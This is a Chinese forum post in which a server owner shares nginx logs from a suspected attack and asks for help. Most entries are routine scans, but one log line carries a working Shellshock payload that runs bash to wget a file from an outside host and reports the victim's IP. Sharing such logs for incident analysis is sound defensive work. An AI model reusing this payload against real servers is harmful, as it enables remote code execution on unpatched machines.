昨晚服务器貌似被攻击了，大神们来看看！

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

Distributions

Ubuntu

Fedora

CentOS

中文资源站

网易开源镜像站

这是一个创建于 3758 天前的主题，其中的信息可能已经有所发展或是发生改变。

这些是异常的访问请求：

2015/06/30 15:12:29 [error] 2926#0: *22 open() "/var/www/clientaccesspolicy.xml" failed (2: No such file or directory), client: 54.80.128.131, server: _, request: "GET /clientaccesspolicy.xml HTTP/1.1", host: "167.160.165.36"

54.80.128.131 - - [30/Jun/2015:15:12:29 -0400] "HEAD / HTTP/1.1" 200 0 "-" "Cloud mapping experiment. Contact [email protected]"

220.181.132.218 - - [30/Jun/2015:16:05:11 -0400] "GET / HTTP/1.1" 200 151 "http://xxxxxxxxx（隐藏一下）/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"

101.199.112.54 - - [30/Jun/2015:16:06:40 -0400] "GET / HTTP/1.1" 200 151 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"

220.181.132.200 - - [30/Jun/2015:16:08:09 -0400] "GET / HTTP/1.1" 200 151 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"

180.153.99.56 - - [30/Jun/2015:17:21:45 -0400] "-" 400 0 "-" "-"
180.153.99.56 - - [30/Jun/2015:17:26:18 -0400] "GET / HTTP/1.0" 200 151 "() { :;}; /bin/bash -c \x22wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=3136372e3136302e3136352e3336\x22" "() { :;}; /bin/bash -c \x22wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=3136372e3136302e3136352e3336\x22"

61.240.144.64 - - [30/Jun/2015:23:57:28 -0400] "GET / HTTP/1.0" 200 151 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"

这是哪位河北的大神留下的啊？？？？？？

x22wget

khtml

gecko

17 条回复 2015-07-02 10:29:38 +08:00